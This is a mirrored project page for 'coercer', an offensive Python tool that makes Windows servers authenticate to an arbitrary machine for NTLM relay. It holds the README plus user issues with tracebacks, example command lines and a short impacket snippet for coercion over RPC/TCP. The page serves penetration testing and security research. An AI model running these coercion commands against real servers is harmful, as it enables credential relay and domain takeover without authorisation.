Giter VIP home page Giter VIP logo

coercer's Introduction

A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through many methods.
PyPI GitHub release (latest by date) YouTube Channel Subscribers

Features

  • Core:
    • Lists open SMB pipes on the remote machine (in modes scan authenticated and fuzz authenticated)
    • Tries to connect on a list of known SMB pipes on the remote machine (in modes scan unauthenticated and fuzz unauthenticated)
    • Calls one by one all the vulnerable RPC functions to coerce the server to authenticate on an arbitrary machine.
    • Random UNC paths generation to avoid caching failed attempts (all modes)
    • Configurable delay between attempts with --delay
  • Options:
    • Filter by method name with --filter-method-name, by protocol name with --filter-protocol-name or by pipe name with --filter-pipe-name (all modes)
    • Target a single machine --target or a list of targets from a file with --targets-file
    • Specify IP address OR interface to listen on for incoming authentications. (modes scan and fuzz)
  • Exporting results
    • Export results in SQLite format (modes scan and fuzz)
    • Export results in JSON format (modes scan and fuzz)
    • Export results in XSLX format (modes scan and fuzz)

Installation

You can now install it from pypi (latest version is PyPI) with this command:

sudo python3 -m pip install coercer

Quick start

  • You want to assess the Remote Procedure Calls listening on a machine to see if they can be leveraged to coerce an authentication?

    demo-scan.mp4
  • You want to exploit the Remote Procedure Calls on a remote machine to coerce an authentication to ntlmrelay or responder?

    demo-coerce.mp4
  • You are doing research and want to fuzz Remote Procedure Calls listening on a machine with various paths?

    demo-fuzz.mp4

Contributing

Pull requests are welcome. Feel free to open an issue if you want to add other features.

Credits

coercer's People

Contributors

adrianvollmer avatar exploide avatar jenaye avatar p0dalirius avatar qu35t-code avatar s0i37 avatar shoxxdj avatar xiaolichan avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

coercer's Issues

Fuzz mode doesn't run

Due to this line giving the wrong arguments to the try_login function, the fuzz mode does not work for me:

if try_login(credentials, target, options):

└─$ ./Coercer.py fuzz -u tmassie -p 'stronpassword' -d winattacklab.local -t 10.0.1.100
       ______
      / ____/___  ___  _____________  _____
     / /   / __ \/ _ \/ ___/ ___/ _ \/ ___/
    / /___/ /_/ /  __/ /  / /__/  __/ /      v2.2-blackhat-edition
    \____/\____/\___/_/   \___/\___/_/       by @podalirius_

[info] Starting fuzz mode
[info] Fuzzing target 10.0.1.100
[!] Could not login as 'tmassie' with these credentials on '10.0.1.100'.
  | Error: int() argument must be a string, a bytes-like object or a real number, not 'Namespace'
[+] All done! Bye Bye!                                   

Thanks for the cool tool :)

[enchancement] Finish feature to specify listener port

As discussed before, there are these args existing :

Advanced configuration:
  --delay DELAY         Delay between attempts (in seconds)
  --http-port HTTP_PORT
                        HTTP port (default: 80)
  --smb-port SMB_PORT   SMB port (default: 445)

This issue is just to remind you to make sure everything is working on this side 😄 to be sure you can specify another for SMB coerce and WebDav too !

[enhancement] Support access to SMB over QUIC (Windows 11 & Windows Server 2022)

Hi,

I see you are planning to add more coercing methods in version 2.0 which is great! Have you heard about NTLMQUIC available and running by default on Windows 11 and Windows Server 2022? TrustedSec describes this in this post and their tools are available here.

Apparently PetitPotam can be used to coerce NTLMQUIC but that also involves additional tools which is not very clean. Is it at all possible to improve this so that all that is needed to coerce NTLMQUIC is your tool? If so, would you be willing to support this?

Thanks!

[enhancement] Support access to RPC over TCP/IP (ncacn_ip_tcp)

Hello.
When 445 and 139 ports closed, we have still can coerce via DCERPC (4915x/tcp):

stringBinding = r'ncacn_ip_tcp:%s[%d]' % (target,port)
rpctransport = transport.DCERPCTransportFactory(stringBinding)
portmap = rpctransport.get_dce_rpc()
portmap.set_credentials(USERNAME, PASSWORD, DOMAIN, "", "", None)
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
portmap.connect()
portmap.bind(UUID)

[bug] SMB SessionError: STATUS_PIPE_DISCONNECTED

Hi,

I love your tool and I have used it a lot! However, today during testing in my AD lab I suddenly get the error "SMB SessionError: STATUS_PIPE_DISCONNECTED" when attempting to coerce anonymously.

Anonymous coercing has worked before. If I try authenticated coercing against the same DC it partially works. Also note that coercing using MS-RPRN.exe, and I assume authentication via Kerberos, against the same DC still works... As you can see the pipe LSARPC is accessible.

Restarting dc1.adlab.local (10.0.0.200) does not help.

coerce1

coerce3

coerce2

[bug] Got "too many values to unpack" while trying to scan

The problem is in rpc.py:26
_transport, dst = binding.split(":")
one of binding was "ncalrpc:[PRRUniversal#4FAF6D748C97387A:3684]" what causes that error
Fixed with limiting split func to 1 occurence: _transport, dst = binding.split(":", 1)

[bug] TypeError: NetrDfsAddStdRoot.trigger() takes 2 positional arguments but 3 were given

[+] SMB named pipe '\PIPE\netdfs' is accessible!
   [+] Successful bind to interface (4fc742e0-4a10-11cf-8273-00aa004ae673, 3.0)!
      [>] (-testing-) MS-DFSNM──>NetrDfsAddStdRoot(ServerName='\\192.168.1.27\ujbjOnpm\file.txt\x00') 
Traceback (most recent call last):
  File "/data/git_projects/Coercer/./Coercer.py", line 11, in <module>
    main()
  File "/data/git_projects/Coercer/coercer/__main__.py", line 189, in main
    action_coerce(target, available_methods, options, credentials, reporter)
  File "/data/git_projects/Coercer/coercer/core/modes/coerce.py", line 97, in action_coerce
    result = trigger_authentication(
  File "/data/git_projects/Coercer/coercer/network/authentications.py", line 74, in trigger_authentication
    result_trigger = method_trigger_function(dcerpc_session, target)
TypeError: NetrDfsAddStdRoot.trigger() takes 2 positional arguments but 3 were given```

[enhancement] \PIPE\efsrpc interface

Hello.
Currently coercer supports the following rpc interfaces:

/opt/Coercer/coercer/protocols(master) » grep -r uuid
MS_EFSR.py:    uuid = "c681d488-d850-11d0-8c52-00c04fd90f7e"
MS_FSRVP.py:    uuid = "a8e0653c-2744-4389-a61d-7373df8b2292"
MS_RPRN.py:    uuid = "12345678-1234-ABCD-EF00-0123456789AB"
MS_DFSNM.py:    uuid = "4fc742e0-4a10-11cf-8273-00aa004ae673"

However there is exists one more interface (in PetitPotam):

            'efsr': {
                'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
                'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
            },

[bug] F821 undefined name 'ncan_target'

./coercer/network/DCERPCSession.py:36:52: F821 undefined name 'ncan_target'
            print("   [>] Connecting to %s ... " % ncan_target, end="")
                                                   ^
1     F821 undefined name 'ncan_target'

[bug] Is the Coercer application platform dependent?

I'm trying to run Coercer on Windows but I'm facing with an error:

ModuleNotFoundError: No module named 'fcntl'

Found this question rror-no-module-named-fcntl.

Python 3.9.11 (tags/v3.9.11:2de452f, Mar 16 2022, 14:33:45) [MSC v.1929 64 bit (AMD64)] on win32

> pip list
Package            Version
------------------ -------
cffi               1.15.1
chardet            5.1.0
click              8.1.3
coercer            2.4
colorama           0.4.6
cryptography       39.0.0
dnspython          2.2.1
Flask              2.2.2
future             0.18.2
impacket           0.10.0
importlib-metadata 6.0.0
itsdangerous       2.1.2
Jinja2             3.1.2
ldap3              2.9.1
ldapdomaindump     0.9.4
MarkupSafe         2.1.1
pip                22.3.1
pyasn1             0.4.8
pycparser          2.21
pycryptodomex      3.16.0
pyOpenSSL          23.0.0
setuptools         65.6.3
six                1.16.0
Werkzeug           2.2.2
wheel              0.38.4
XlsxWriter         3.0.6
zipp               3.11.0

[bug] UnboundLocalError: cannot access local variable 'portmap' where it is not associated with a value

--filter-transport-name msrpc

Command:

coercer coerce -t 192.168.1.11 --auth-type http -u Administrator -p 'Admin123!' -l 192.168.1.27 --always-continue --filter-pipe-name lsarpc --filter-transport-name msrpc
root@THOR:/home/podalirius# coercer coerce -t 192.168.1.11 --auth-type http -u Administrator -p 'Admin123!' -l 192.168.1.27 --always-continue --filter-pipe-name lsarpc --filter-transport-name msrpc
       ______
      / ____/___  ___  _____________  _____
     / /   / __ \/ _ \/ ___/ ___/ _ \/ ___/
    / /___/ /_/ /  __/ /  / /__/  __/ /      v2.4.3
    \____/\____/\___/_/   \___/\___/_/       by @podalirius_

[info] Starting coerce mode
[info] Scanning target 192.168.1.11
Traceback (most recent call last):
  File "/usr/local/bin/coercer", line 8, in <module>
    sys.exit(main())
             ^^^^^^
  File "/usr/local/lib/python3.11/dist-packages/coercer/__main__.py", line 201, in main
    action_coerce(target, available_methods, options, credentials, reporter)
  File "/usr/local/lib/python3.11/dist-packages/coercer/core/modes/coerce.py", line 65, in action_coerce
    for port in options.dce_ports or portmap.get("ncacn_ip_tcp",{}).get("%s v%s"%(uuid.upper(),version),[]):
                                     ^^^^^^^
UnboundLocalError: cannot access local variable 'portmap' where it is not associated with a value

[bug] Coercing HTTP to SMB no longer available in version 2.1

Hi again!

You know I love your tool but today when I was attempting to trigger HTTP to SMB authentication using the new version I noticed that the parameter "--webdav-host" no longer exists. I tested to use the NetBIOS name of Responder as input to the parameter "--target" but that only triggered a SMB to SMB authentication.

Yes the role WebDAV was installed on the target DC and the service WebClient was running.

Is there any way to trigger HTTP to SMB authentication in version 2.1? If not I am forced to go back to version 1.6.

Thanks!

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.